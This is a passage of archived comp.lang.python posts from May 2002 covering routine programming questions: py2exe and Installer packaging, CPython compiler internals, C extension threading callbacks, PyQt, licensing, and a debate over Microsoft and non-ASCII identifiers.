skipped -- test locale en_US not supported test test_longexp crashed -- exceptions.MemoryError: test test_md5 skipped -- No module named md5 test test_minidom skipped -- No module named pyexpat test test_mmap skipped -- No module named mmap test test_nis skipped -- No module named nis test test_ntpath skipped -- No module named nt test test_openpty skipped -- No openpty() available. test test_pep247 skipped -- No module named md5 test test_poll skipped -- select.poll not defined test test_pty skipped -- Pseudo-terminals (seemingly) not functional. test test_pyexpat skipped -- No module named pyexpat test test_re crashed -- exceptions.TypeError: 'NoneType' object is not callable test test_rgbimg skipped -- No module named rgbimg test test_rotor produced unexpected output: test test_sax skipped -- no XML parsers available test test_sha skipped -- No module named sha test test_socket crashed -- socket.error: unknown address family test test_socket_ssl skipped -- Use of the `network' resource not enabled test test_socketserver skipped -- Use of the `network' resource not enabled test test_sre crashed -- exceptions.UnicodeError: \N escapes not supported (can't load unicodedata module) test test_sunaudiodev skipped -- No module named sunaudiodev test test_sundry skipped -- No module named md5 test test_ucn skipped -- No module named unicodedata test test_unicode crashed -- exceptions.UnicodeError: \N escapes not supported (can't load unicodedata module) test test_unicode_file skipped -- No Unicode filesystem semantics on this platform. test test_unicodedata skipped -- No module named sha test test_urllib2 skipped -- No module named md5 test test_winreg skipped -- No module named winreg test test_winsound skipped -- No module named winsound test test_zipfile skipped -- No module named zlib test test_zlib skipped -- No module named zlib Not all of the test failures are of any significance, of course. (I didn't really expect Windows registry operations to work.) But the failure in test_re is a little worrying... My immediate reason for installing Python on the Cray is that I want to check out SCons, but it *must* work on the Cray to be of any use to me. At the moment SCons won't work because it requires md5, which couldn't be compiled because it requires a UINT4 data type. So I guess I'll either have to get md5 working or persuade SCons to work without md5 checksums. Oh well... -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From db3l at fitlinxx.com Fri May 31 15:02:29 2002 From: db3l at fitlinxx.com (David Bolen) Date: 31 May 2002 15:02:29 -0400 Subject: Installer vs py2exe: Windows DLLs References: Message-ID: Paul Moore writes: > When building a distribution for the same script using Gordon > McMillan's Installer and py2exe, I notice that Installer includes > PyWinTypes22.dll and win32api.pyd, whereas py2exe doesn't. Both > executables run fine, so these 2 DLLs are clearly not needed in > practice. "Clearly" is in the eye of the beholder - presumably your current application doesn't need them, but it may not be globally the case. At least before Python 2.2, there used to be a conditional import of win32api in the ntpath.py library module (in 2.2 that accesses a built-in nt module function). Since installer can't tell whether you'll execute that code at runtime, it looks at it like a normal import. I think with the installer 4 code, win32api used to be a default exclusion because of this, but that can also get you into trouble if you wanted it. I'm not sure if that's why py2exe isn't finding it. I'm also not entirely certain why you're finding it with 2.2 (given your PyWinTypes22.dll link I'm assuming you're using 2.2) unless there's some other module involved in your application that also conditionally uses it. Oh, and I expect the reason you're getting PyWinTypes22.dll is that once win32api is chosen, it has a binary DLL dependency (e.g., Windows DLL) to PyWinTypes22.dll. > Why is there a difference, and can Installer be made to exclude these > two files when they are not needed, as py2exe does? If you are sure you don't need it, then you can easily just exclude it yourself in your spec (installer 5) or cfg (installer 4) files. I generally find myself doing this a little with any project anyway (with installer 5 often to get rid of MSVCIRT since I don't want to push that out). Just subtract it out from your COLLECT() call. > More to the point, in some ways, why does Installer think these files > are needed? Is there some situation in which py2exe generated > executables will fail because these files aren't there? In the case I mention (ntpath) it won't fail because the library module contains other code that executes when win32api isn't present. However, because the underlying functionality may not be precisely the same, you may get slightly different behavior. If the dependence is somewhere else, whether the use will change with or without the module is hard to say. In general, analysis of Python scripts is inherently a tricky business because of all the dynamic run-time level operations that can affect code flow and execution. There's likely to be some small differences in such analsys between tools like py2exe and installer, both of which have some built-in heuristics and pre-configured defaults to try to handle common cases. And installer5 has the whole "hook" system to extend support for special modules known to use dynamic features or otherwise be difficult to analyse without prior knowledge. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From timr at probo.com Mon May 20 00:56:08 2002 From: timr at probo.com (Tim Roberts) Date: Sun, 19 May 2002 21:56:08 -0700 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <23891c90.0205150201.6cd8193e@posting.google.com> <83y9ejw6cp.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker wrote: >paul at boddie.net (Paul Boddie) writes: >> In other words, some things have to be prioritised so that the whole >> system works as intended. With articles "celebrating" cool hacks, and >> the like, it's clear that some people prioritise arguably less >> important things (in the context of successful real-world systems) >> than others. > >Yes. For example, the misconception that software must be correct to >be useful --- or at least, that correctness is important to real-world >success with software --- seems to be quite widespread in some >circles. For something like a 3D game or a spreadsheet, our industry has done a fabulous job of convincing the general public that half-assed software is the norm, and the best they can expect. But for elevator control software or bullet train software, correctness is VITALLY important to real-world success. I never cease to amazed by the number of of unsophisticated users I encounter who are experiencing problems caused by faulty software testing and are convinced that it is all their fault. Amazed, and ashamed. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From tim.one at comcast.net Fri May 10 11:52:42 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 10 May 2002 11:52:42 -0400 Subject: Simple question about how the optimizer works In-Reply-To: Message-ID: [Andrew Dalke, on "optimization"] > ... > Given the limited resources for Python development, how much time > should be spent on this? I think very little. As Tim Peters once > pointed out, there haven't been problems with Python's optimization > code . That was before we tried any . One of my coworkers decided they were tired of seeing LOAD_CONST followed by UNARY_NEGATIVE whenever they had a negative literal in the source (like -4 or -1.23), and changed the compiler to store the negation of the literal instead, leaving just LOAD_CONST at run time. We do that now, but it introduced several bugs, and the process of stumbling into them stretched over almost a year. At the parsing end, it wound up breaking mixtures of unary minus with exponentiation, and at the semantic end it screwed up on negative float 0 literals (like -0.0). There was also a bug in memory management, due to indirect mixing of the PyObject_xyz memory API with raw platform malloc, and that bug went uncaught until very recently because it could only matter if pymalloc was enabled. The code today looks like this: if ((childtype == PLUS || childtype == MINUS || childtype == TILDE) && NCH(n) == 2 && TYPE((pfactor = CHILD(n, 1))) == factor && NCH(pfactor) == 1 && TYPE((ppower = CHILD(pfactor, 0))) == power && NCH(ppower) == 1 && TYPE((patom = CHILD(ppower, 0))) == atom && TYPE((pnum = CHILD(patom, 0))) == NUMBER && !(childtype == MINUS && is_float_zero(STR(pnum)))) { if (childtype == TILDE) { com_invert_constant(c, pnum); return; } if (childtype == MINUS) { char *s = PyMem_Malloc(strlen(STR(pnum)) + 2); if (s == NULL) { com_error(c, PyExc_MemoryError, ""); com_addbyte(c, 255); return; } s[0] = '-'; strcpy(s + 1, STR(pnum)); PyMem_Free(STR(pnum)); STR(pnum) = s; } com_atom(c, patom); } else if (childtype == PLUS) { com_factor(c, CHILD(n, 1)); com_addbyte(c, UNARY_POSITIVE); } else if (childtype == MINUS) { com_factor(c, CHILD(n, 1)); com_addbyte(c, UNARY_NEGATIVE); } else if (childtype == TILDE) { com_factor(c, CHILD(n, 1)); com_addbyte(c, UNARY_INVERT); } else { com_power(c, CHILD(n, 0)); As that strongly hints, CPython's intermediate code representation is a concrete syntax tree, and so very difficult for any sort of semantic analysis to process. This is Good, because it inhibits my coworkers from doing more of this . From mcherm at destiny.com Thu May 30 15:19:04 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 30 May 2002 15:19:04 -0400 Subject: Where can I find .join() in the docs Message-ID: <3CF67B28.9020805@destiny.com> > Michael Chermside > Specifically, I went to the Python Library Reference (which you will > find stashed under your pillow), Chapter 2 (built-in stuff), then went > to the section on sequences (which Strings are) and the page on > Strings. Emile van Sebille: > ...which illustrates a difficulty for a newbie... knowing it's 'built-in > stuff' then further knowing that strings are classified under > sequences... Good point. How many people feel that the Python docs would be improved by the addition of an index? And in case the response is overwhelming, who currently manages the docs so I could volunteer to work on an index? -- Michael Chermside From phd at phd.pp.ru Fri May 24 13:17:09 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 24 May 2002 21:17:09 +0400 Subject: Grabbing data from my motherboard thermistor? In-Reply-To: ; from gcordova@hebmex.com on Fri, May 24, 2002 at 12:07:38PM -0500 References: Message-ID: <20020524211709.T10331@phd.pp.ru> On Fri, May 24, 2002 at 12:07:38PM -0500, Gustavo Cordova wrote: > You need a device driver to read the data from the thermistor; > that driver must make that information available to userland > programs; which in turn should be able to read the info from > some kind of device file or pseudo-file (like unix's "/dev/*" files) In Linux, those devices usually put their information in /proc filesystem in a way that looks like pretty standard text files - open, read, parse, that's all. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From bob at kontact.com Mon May 6 23:03:42 2002 From: bob at kontact.com (Bob Kircher) Date: 6 May 2002 20:03:42 -0700 Subject: problems using pickle in a py2exe created executable Message-ID: <393f02b0.0205061903.7b516323@posting.google.com> I recently converted a python 2.1 (actually a pythonwin) program to a standalone executable using py2exe everything runs fine until I try to save my EmailXT dictionary structure to a file using pickle. Here's the python code: import pickle f=open('c:\\EmailXT.txt',"w+") pickle.dump(EmailXT,f) f.close() When I run the .exe file from the DOS prompt everything runs fine up to the pickle statement then I get the following: Traceback (most recent call last): File "", line 127, in ? NameError: name 'pickle' is not defined I tried using cPickle and still got the same results. Any ideas? Thanks Bob bob at kontact.com From altis at semi-retired.com Thu May 30 15:02:25 2002 From: altis at semi-retired.com (Kevin Altis) Date: Thu, 30 May 2002 12:02:25 -0700 Subject: Spiral References: Message-ID: Chris, here's a variation of the script Pete Shinners supplied that works with the turtle sample included with PythonCard http://www.pythoncard.org/ This is run from the PythonCard shell, so I've left in the interpreter prompts (>>> and ...) The turtle sample has a lot of example scripts like this one and you can experiment in the shell either using turtles or drawing directly on the canvas like the example below. In order to speed up the redrawing, I disabled autoRefresh, but if you want to see the spiral drawn, you don't have to include that line, it will just take longer to do the drawing. >>> import math >>> buf = bg.components.bufOff >>> buf.clear() >>> buf.autoRefresh = 0 >>> for i in range(1, 40000): ... i *= .01 ... x = .5 * i * math.cos(i) ... y = .5 * i * math.sin(i) ... buf.plot(x + 320, y + 240) ... >>> buf.refresh() Python is a wonderful language for exploring math and visualizations. Enjoy, ka "Chris" wrote in message news:gXPDTYGWch98Ew1w@[127.0.0.1]... > I've written a small QBASIC program which draws a spiral. Here is the > code: > > SCREEN 12 > CLS > FOR t = 1 TO 400 STEP .01 > x = .5 * t * COS(t) > y = .5 * t * SIN(t) > PSET (x + 320, y + 240) > NEXT t > > I noticed that it generated some interesting patterns, probably as a > result of rounding errors. These can be explored further by making the > spiral tighter. > > Anyway, I wonder if anyone would be so kind as to convert it to Python > because then I can try and decide whether Python is easy enough for me > to learn! > -- > Chris From tundra at tundraware.com Mon May 20 01:30:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Mon, 20 May 2002 05:30:02 GMT Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> Message-ID: <3CE88785.B9042718@tundraware.com> Dean Goodmanson wrote: > > > > Nevertheless, > > > your paper is quite interesting in its own right, it's just in the > > > wrong newsgroup. > > > > I had to resort to Ctrl-F in Netscape to find the connection. The > > paper *does* mention Python, almost in passing, and Forth... > > > > -Peter > > After skimming the paper (and Ctrl-F,etc.), I was interested to see > what the original discussion on this paper was. > > I didn't find an exact hit in comp.lang.forth, but did find this: > http://groups.google.com/groups?hl=en&lr=&selm=3CE57855.AE29FA7E%40tundraware.com > > I found the python portion especially interesting in light of Jython & > .Net: > > "I reserve the right to be wrong, but it seems to me that we ought to I am hopeful that both .NET and Jython (as well as other such efforts) yield meaningful results. I have no direct experience with either, but I am a bit sceptical, only because such efforts historically (like the UCSD P system) have been less than spectacular. Certainly, there is reason to believe this is more feasible today because of the much faster processors and larger memories at our disposal. .NET particularly ought to be view with great scepticism, IMO. It seems clear to me that, for commercial reasons, the real focus of the CLR will be C# which does not really meet the 'multi-paradigm' requirement. -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From pyth at devel.trillke.net Thu May 30 16:55:29 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 30 May 2002 22:55:29 +0200 Subject: Avoiding `exec', how to? In-Reply-To: ; from pinard@iro.umontreal.ca on Thu, May 30, 2002 at 04:48:28PM -0400 References: Message-ID: <20020530225529.O17248@prim.han.de> Fran?ois Pinard wrote: > [Steven Majewski] > > > If you have to get a handle to a module while it's being executed > > on it's initial import, you can use: > > > import sys > > module = sys.modules[__name__] > > It works very nicely, thanks for the idea. I now happily have: > > > # Fabriquer une variable globale pour chaque ?l?ment de DEFS. > module = sys.modules[__name__] module = __import__(__name__) is the better way IMO. holger > for name, value in defs.__dict__.items(): this is not robust if 'defs' is a subclass. And it is desirable to avoid __*__ names if possible. for name in dir(defs): if ...: setattr(mod,name,getattr(defs,name)) is the usual way to go. holger From mac at magusdesigns.com Sun May 12 21:01:36 2002 From: mac at magusdesigns.com (Mac Martine) Date: Sun, 12 May 2002 18:01:36 -0700 Subject: Python in ASP pages In-Reply-To: Message-ID: <001e01c1fa19$bbb85230$6401a8c0@MAGUS> I actually got it working, but the content of the page only appears on the first load. If I reload it, the content goes away, and I get a white page. I have a link that opens this window, and the same occurs with that link (the content only appears the first time). It seems that if I edit the page, and try the link again, or reload, the content appears again. Very strange. Has anyone run into anything like this? Thanks -Mac -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org] On Behalf Of Uwe Schmitt Sent: Sunday, May 12, 2002 1:21 PM To: python-list at python.org Subject: Re: Python in ASP pages Mac Martine wrote: | Hi- | | - I am on Windows XP. | | -I have Python2.2 installed (I think this is different from the | ActiveState version...i'm new to this, so I'm unclear) | afaik the activestate distribution is the only one which configures the iis so that python is recognized... | -So, I am trying to run Python code in my ASP pages. I managed to get | .py files to run in my browser, but I can't get Python code to run in my | asp pages. | | I'm trying: | <%@ Language = Python %> try <%@ Language=Python %> without the blanks above... maybe it helps.. greetings, uwe. -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From quinn at regurgitate.ugcs.caltech.edu Wed May 22 17:59:04 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 22 May 2002 21:59:04 GMT Subject: slice objects vs. [] References: Message-ID: On Wed, 22 May 2002 15:12:13 -0600, Fernando P?rez wrote: >Quinn Dunkan wrote: > >> This seems to imply that [].__getitem__ should accept a slice object. >> Currently I am writing >> >> def __getitem__(self, k): >> if type(k) is type(slice(0)): >> return self.data[k.start:k.end] >> else: >> return self.data[k] >> >> ... which is awkward, in addition to losing k.step. >> >> BTW, is there any particular reason slice() is not a type? I expected to be >> able to write 'isinstance(k, slice)'. >> > >The docs are a bit outdated, I think. They don't describe __getslice__, which >is what you want. Her's an example from my code: Actually, they do describe __getslice__, with the words "Deprecated since release 2.0. Support slice objects as parameters to the __getitem__() method." __getslice__ is still supported for backward compatibility though, but def __getitem__(self, k): return self.data[k] def __getslice__(self, i, j): return self.data[i:j] ... is still somewhat clumsy and still fails if you pass a step. I would like to say self.__getitem__ = self.data.__getitem__ From andy47 at halfcooked.com Sun May 26 22:37:23 2002 From: andy47 at halfcooked.com (Andy Todd) Date: Mon, 27 May 2002 02:37:23 +0000 (UTC) Subject: Need help learning Python References: <63f2fcbe.0205261521.76c3612f@posting.google.com> Message-ID: seraphim at linuxmail.org (seraphim) wrote in news:63f2fcbe.0205261521.76c3612f at posting.google.com: > I am looking for a good Python tutorial. I would like to learn the > language, but am having a hard time finding a good tutorial. Any help > would be appreciated. Also, book recommendations would be nice as > well. > > seraphim > > - seraphim at linuxmail.org http://www.python.org/doc/Newbies.html Regards, Andy -- Contents free posts a speciality From aleax at aleax.it Thu May 2 06:14:37 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 10:14:37 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: Martijn Faassen wrote: ... > narrow-minded fools, no matter what nationality you are). Though I prefer > 'pythoneer', which is its own weird suffix, and it comes from French; > another latin language, just like Canadian! "Pythmen" is better, although one needs some Greek (or numerology mania) to get the joke -- and those who don't get it might believe it wrongfully discriminates against the women in the community. much as some do for "history" (ignoring the Greek root and imagining a gender-biased Anglo- Saxon derivation that is of course totally fictitious). Alex From janto_d at hotmail.com Sat May 25 11:17:08 2002 From: janto_d at hotmail.com (Janto Dreijer) Date: 25 May 2002 08:17:08 -0700 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> <3cebb0ec_5@goliath.newsgroups.com> Message-ID: [It's been 2 days since I posted this reply from google and still haven't seen it _on_ google, so I'm reposting.] "Brad Clements" wrote in message news:<3cebb0ec_5 at goliath.newsgroups.com>... > Well, of course Oberon is strict in a draconian way. Isn't that supposed to > keep you from pointer-munging yourself into a crash? I've only really had problems with pointer maddness in C. Pointing to the wrong type of object in memory isn't nearly as big a problem in other languages. This makes the cure seem worse than the disease. Just adding a garbage collector to Pascal would have solved most of the problems I've had (memory leaks). > I can't help that most of the existing Oberon code was written by students! > ;-) Ofcourse there's also the infamous green "programming in oberon - steps beyond pascal and modula" book written by Wirth himself. One can't help but point and laugh (if I remember correctly it was written in 1985). > Surely it must have some redeeming value, otherwise why is it still around > teasing the rest of us? It seems as though oberon tries to "formalize" programming by forcing it into strict mathematical ideas. I guess that appeals to some people. Especially to some CS lecturers. Which would explain why I hear of it only being used in acedemia. btw our project's specs includes variable declaration and replaced indentation with "{..}". So in the end it's more of a C interpreter than python. I feel so violated. From whisper at oz.net Thu May 16 14:14:16 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 16 May 2002 11:14:16 -0700 Subject: Redistribution legal status In-Reply-To: Message-ID: As far as I know, you can redistribute Python from PSF and PythonWin from Mark Hammond per their licenses, but you can't redistribute ActiveState Python according to it's license (Active State Python is not just Python and PythonWin I believe). David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Gillou > Sent: Thursday, May 16, 2002 10:33 > To: python-list at python.org > Subject: Redistribution legal status > > > Hi, > > I'm native French speaking and - definitely - not a lawyer and I > did'nt get > with my poor man's brain the rules associated with the licence. > > The story : I sell to a customer a Python app that will be installed on > about 50 Windows boxes. > This app requires either Windows Python from PSF + Win 32 extensions or > ActiveState Python. > > Is it possible (say "legal") to redistribute these distros "as is" on a CD > ROM with my app specific files ? > > Or should I say to my customers they should to install these Python stuffs > by themseves before my apps files ? > > Thanks in advance. > > --Gilles > > > -- > http://mail.python.org/mailman/listinfo/python-list From hans.geuns at scansoft.com Thu May 23 14:25:49 2002 From: hans.geuns at scansoft.com (hans) Date: 23 May 2002 11:25:49 -0700 Subject: asynchronous callbacks Message-ID: I'm writing a Python extension module that has to handle asynchronous callbacks. There have been some earlier posts about this, but so far I haven't found a safe solution. What I'm doing is this: I have a global variable PyInterpreterState* my_interp; The initialization function of my extension module looks like: void initmymodule(void) { ... PyEval_InitThreads(); my_interp = PyThreadState_Get()->interp; } The callback functions look like: static void cb_Fun(void* pyFun, T* data) { ... // convert data into a Python tuple: arg ENTER_PY res = PyEval_CallObject((PyObject*)pyFun, arg); LEAVE_PY ... } where I'm using two macros: #define ENTER_PY { PyThreadState* tstate = NULL;\ if (_PyThreadState_Current == NULL) {\ tstate = PyThreadState_New(my_interp);\ PyEval_AquireThread(tstate);\ } #define LEAVE_PY if (tstate) {\ PyThreadState_Clear(tstate);\ PyThreadState_DeleteCurrent();}\ } The callbacks function can be registered (to a C API) with pyFun pointing to some Python function (defined in a script). (This Python function can itself callback into the C API.) In the script, after registering a function as callback, the main thread is simply looping in while running: time.sleep(0) Variable `running` can at some point be reset by the callback to break out of the loop. The problem is that I still get Fatal Python Errors, like "PyThreadState_Get: no current thread", and sometimes "ceval: tstate mix-up". How is this possible? And how can I prevent those errors? What am I missing? (I'm working with Python 2.2 on a Win2000 OS.) Hans From boud at valdyas.org Mon May 6 04:10:11 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Mon, 06 May 2002 10:10:11 +0200 Subject: Please help! PyQt problems. References: Message-ID: <3cd63ab7$0$209$e4fe514c@dreader3.news.xs4all.nl> Moray Taylor wrote: > > The Qt examples work perfectly, however the PyQt ones do not, they all > fail with either 'Segmentation fault', or sometimes, 'Illegal > Instruction'. When I try using it with python interactivly, I get this > far > > import qt There has been a version of PyQt that had some problems with this line -- in the latest & greatest version, this has been fixed. (I have missed that version completely, though). Go to: http://www.riverbankcomputing.co.uk/ ... -- Boudewijn Rempt | http://www.valdyas.org From david.abrahams at rcn.com Sun May 5 12:23:16 2002 From: david.abrahams at rcn.com (David Abrahams) Date: Sun, 5 May 2002 11:23:16 -0500 Subject: python and C++? References: Message-ID: "Totte Karlsson" wrote in message news:ab1r85$1u8s$1 at nntp6.u.washington.edu... > Hi, > Is there any good texts about how to interface to a windows dll with python? > I'm a total beginner of python. > I'm a C++ programmer and what I want is to make a DLL and interface to that > one with python. > Say for example, I have a C++ class, called mtkMatrix. Is it then possible > to allocate a mtkMatrix in a python script and acess its class member > functions? > thanks > /totte Boost.Python was specifically designed to address your needs (www.boost.org/libs/python/doc/). If you need help getting started, please direct further questions to the C++-sig: http://www.python.org/sigs/c++-sig/. HTH, Dave P.S. I strongly recommend using the latest boost CVS state (http://sourceforge.net/cvs/?group_id=7586) rather than the current release version. From schafferSP at AMoptonline.net Thu May 9 08:01:36 2002 From: schafferSP at AMoptonline.net (Les Schaffer) Date: Thu, 09 May 2002 08:01:36 -0400 Subject: wrapper for galil motion controller libraries Message-ID: I didn't find anything in google usenet search, but ... has anyone attempted to wrap the linux or windows libraries for the Galil motion controllers? http://www.galilmc.com/support/download.html i was planning on SWIG'ing in the libraries from DMCWIN32 and LinuxPCI_Ker2.4. just curious if either anyone has worked on this, or anyone is interested in using the wrappers. les schaffer From shagshag13 at yahoo.fr Wed May 29 06:34:53 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Wed, 29 May 2002 12:34:53 +0200 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: "J?rgen Hermann" a ?crit dans le message de news: 921D7A043jhewebdeagde at 194.45.170.159... > shagshag13 at yahoo.fr (Shagshag13) wrote in > : > > >I'd written a script which use a dom parser, try to use it on a HP-UX > >system and here is what i get: > > Try to install PyXML (pyxml.sf.net), which includes expat & xmlproc. so i've installed expat but it still doesn't work, i do ./configure --prefix=/home/shagshag/local make make install and then samething for python. I think that i had forgotten something, like to set an env var, or to to change a path... i must use it from my home/shagshag/local as i *can't* ask root to do it for me. thanks in adv, s13. From jb at cascade-sys.com Tue May 21 19:02:19 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 21 May 2002 16:02:19 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <3CE9DEEE.96554CE2@tundraware.com> <3CEA7B5C.181E761C@noaa.gov> Message-ID: <3CEAD1FB.D136CCCE@cascade-sys.com> Chris Barker wrote: > but it's a pretty sad way to think about the world! It's actually really a neutral and objective way to view the world (if not optimistic and positive). Fact of the matter, the simple secret of success in business is to figure out what your customers want and to give it to them for a better price than your competition can. I've been to executive management training courses, and they don't teach you how to cook your books and how to cheat customers. They teach you to get in close with your customers, figure out how to best help them and then simply to provide that help packaged according to the problem domain in question. Sure there are some bad companies that give all the others a bad name. But most companies are just trying to make an honest buck fulfilling bona fide customer needs. > Besides, every BAD thing > you possess is the product of a corporation, too. Do you possess mostly good things or mostly bad things? By what ratio? > My point is that the the computer industry as a whole has done a lot of > wonderful things, and MS has played a major role in it, but we have NO > WAY of knowing what the industry would look like without MS. I suspect > better, apparently you suspect worse, but neither of us have any idea. You show a lot of objectivity and sincerity in this statement. It is true we may never know what if. In wondering 'what if' I think it's instructive to look at the Unix industry. Depending on how you count, they had a 10-20 year head start on Microsoft. And an even longer period to get their act together before MS achieved any kind of dominance with Windows. The Unix platform vendors had plenty of opportunities to unite and forge inter operability and other standards. But IIRC each and every time a group rose up to form an industry standard for GUI or whatever, it wasn't long before a second competing group rose up in direct opposition. Motif vs. Open look, PowerOpen, POE, COSE, X/Open, POSIX, etc. I don't recall all the names and battles but for someone like myself who was rooting since the 70's for Unix to take over the world, this SNAFU was a tragedy of unspeakable proportions. And MS had nothing to do with it. Just a bunch of geeks didn't know their ass from a hole in the ground w/r/t business. Why ISN'T there a killer office product on any Unix platform? MS never competed there, so they certainly weren't using their vastly overrated "power" to prevent it. Or look at the Mac. If Apple had blown the thing out the door for 20% above their manufacturing cost instead of demanding 250% or whatever the market would bear for as long as they could keep it up, maybe the industry standard "PC" would not have an Intel part inside and MS may never have realized the gains it did. Now THERE'S a decision that could have changed the world. We'll never know but I bet $1 that in the absence of a WinTel alliance, we'd have little more than the same old pointless squabbling among the remaining competitors. And STILL no killer apps to speak of. Really, Microsoft was handed their market dominance position on a platter; they didn't have to cheat to get it. And the reason their APPs dominate is because they've worked on continually refining and improving them for almost 20 years. > Absolutely true. Unfortuantely, what this means is they are more in the > business of making money than the business of making software, which > results in not-so-good, but very saleable, software. The point is their practical approach should be viewed as a perfectly valid business model in a practical world, rather than evil being propagated on the world unjustly. If someone else finds the time or finds a sponsor where they can afford to carry their own work to a higher technical standard, then so be it. The proper view is both are equally valid choices in a free society, not that one is intrinsically good and the other evil. The more costly solution usually is better quality but it's not always affordable. I'm often disappointed and frustrated that my own clients don't want to pay extra for quality code. Usually they are pressed for time and want the quickest possible code for right now. Never mind that it'll cost more in the long run, as often if the short term objectives are not met then there won't be any long run. > Only on the merit of running a business, and the ability to maintain a > monopoly Certainly the former, as we both agreed. RE the monopoly I think time will tell. Historically monopolies always fall by the wayside and we've seen erosion in MS's position in recent years. Linux seems a credible threat to their position on the PC, particularly as it is being actively promoted by IBM. Too, despite all their financial and other "power" and despite an express top level strategy and tons of development dollars to be multi-platform, MS has consistently failed to achieve a significant foot-hold on any non-PC platform. > (Palm is an example of a company that couldn't figure out how > to do that), not on their merit as software deveolpers. Examples of people who know technology far better than business are tragically way more common than people who have a balance. Too, it's generally the difference between failure and success. But the bottom line is the only way to be truly successful is to balance all aspects of business, not technology alone. A lot of geek types have difficulty understanding and accepting this simple fact. > Well, sure, but if I don't like it, I can do what I can to limit their influence. You're certainly welcome to try your best. I don't fault people for trying. I wish you the best of luck. I'm happy to use free software when it fits my needs. It's going the next step beyond that and unnecessarily demonizing the opposition which I find tiresome. > The only thing that scares me about Big Government is that is is being > controlled more and more by Big Corporations. That's why everyone should fear big government. Whatever good it might be able to do in your favor, imagine the much greater damage when your political enemies are in control. Better if government is small so that neither can hurt the other. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From weeks at vitus.scs.agilent.com Mon May 20 10:52:13 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Mon, 20 May 2002 14:52:13 +0000 (UTC) Subject: might compatibility become a *goal*? References: Message-ID: <1021906333.382953@cswreg.cos.agilent.com> brueckd at tbye.com wrote: : You can make and achieve that goal now: don't upgrade. This would be an option only if A) I never shared code with others, B) others never shared code with me, C) my current Python verision was bug-free, and D) Python developers promised to port my old version to the new machines and operating systems I'll be using in the future. Greg From aleax at aleax.it Thu May 9 08:16:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 12:16:48 GMT Subject: Multibyte Character Surport for Python References: <87pu05mvmf.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Stephen J. Turnbull wrote: ... > Alex> It matters not a whit *WHICH* language it is, it does matter > Alex> that it be ONE language, not hundreds and thousands. In > Alex> practice that one language isn't Latin any more (in most > Alex> fields of endeavour) but English. Fine, whatever. As long > Alex> as it's ONE. > > Agreed. Except that a decade from now Chinese might be the ONE. Then > we'll be glad we have hanzi identifiers, as Python sweeps the CJK > world.<0.9 wink> Fine, WHEN that happens. And IF, of course. Meanwhile, Ruby will probably get there first, born in Japan and all, right? Hey, it IS so close to Python it almost hurts. And AFAIK, it doesn't support what you so intensely want, which hasn't stopped it from huge Japan success, though it may in the future. > Alex> and I earnestly hope Python does nothing at all to _help_ it. > > ... is it really worth sacrificing the ability to introduce more > non-programmers to programming to avoid "helping fragmentation" by > 25% over what those who want localized identifiers already can do? Yes. And it's NOT worth (IMHO, of course) helping the Japanese keep ever more insular and separated from the rest of the world, a serious aspect of their current predicaments (not just _my_ opinion, which would be worth little given I'm no expert in this -- have a look at the Economist's survey of Japan, it came out a month or so ago and it's surely still on their site, www.economist.com). Like "code to be run just once and then thrown away", similarly "code that will never see the outside of this room" WILL over and over again survive and spread to the four corners of the Earth, surprising all involved, starting with the code's creator. Sure, it's bad enough if said code has an identifier "principi" -- you don't know what it means and must infer from context. (The comments and docstrings if any are likely just as obscure). But it's STILL worse to let the code have TWO identifiers "pr?ncipi" and "princ?pi", where you have to notice the subtle issue of which "i" has which kind of accent to be able to tell the two identifiers apart. English minimizes this issue by having just 26 glyphs (52, sigh, when you distinguish upper and lower case, one issue where I wish Python was different), and no accents nor other 